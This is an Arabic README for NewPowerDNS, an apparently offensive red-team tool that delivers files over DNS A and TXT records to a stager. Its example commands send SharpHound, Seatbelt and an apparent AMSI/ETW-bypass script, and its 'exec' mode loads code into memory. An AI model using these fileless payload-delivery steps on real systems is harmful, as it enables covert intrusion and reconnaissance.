
نسخة محدّثة من PowerDNS بواسطة @domchell. تضيف دعمًا للنقل عبر سجلات DNS A وعددًا من الميزات المفيدة الأخرى.
NewPowerDNS هو إصدار محدّث من PowerDNS الخاص بـ @domchell. الميزة الرئيسية المضافة هي دعم نقل الملفات باستخدام سجلات DNS A. انظر أدناه للحصول على قائمة كاملة بالتعديلات التي تم إجراؤها:
الاعتماد الوحيد بالإضافة إلى python3 هو scapy. يمكن تثبيته بسهولة عبر pip كما يلي:
python3 -m pip install scapy
شاهد أدناه فيديو يوضّح نقل الملفات عبر كل من سجلات DNS A وTXT:
نقل سكربت PowerShell عبر سجلات DNS A وطباعته إلى وحدة التحكم:
python3 NewPowerDNS.py --file AmSeeETWBP.ps1 --domain sub.domain.com -r A -a print
نقل ملف exe عبر سجلات DNS TXT وحفظه على القرص:
python3 NewPowerDNS.py --file SharpHound.exe --domain sub.domain.com -r TXT -a save
نقل سكربت PowerShell عبر سجلات DNS TXT وتحميله تلقائيًا إلى الذاكرة:
python3 NewPowerDNS.py --file Invoke-Seatbelt.ps1 --domain sub.domain.com -r TXT -a exec
الاستخدام العام:
___ ___ _ _ ___
| . \ ___ _ _ _ ___ _ _ | . \| \ |/ __>
| _// . \| | | |/ ._>| '_>| | || |\__ \
|_| \___/|__/_/ \___.|_| |___/|_\_|<___/
DNS A Record & updated stager version by @icyguider
Original version by @domchell
usage: NewPowerDNS.py [-h] [-f <file>] [-d <domain>] [-a <action>] [-r <record-type>] [-i <interface>]
optional arguments:
-h, --help show this help message and exit
-f <file>, --file <file>
file to transfer
-d <domain>, --domain <domain>
domain with auth NS record
-a <action>, --action <action>
action to perform once data is transferred (options: save, exec, print)
-r <record-type>, --record-type <record-type>
type of DNS record to use for transfer (options: A, TXT) (default: TXT)
-i <interface>, --interface <interface>
interface to bind to (default: eth0)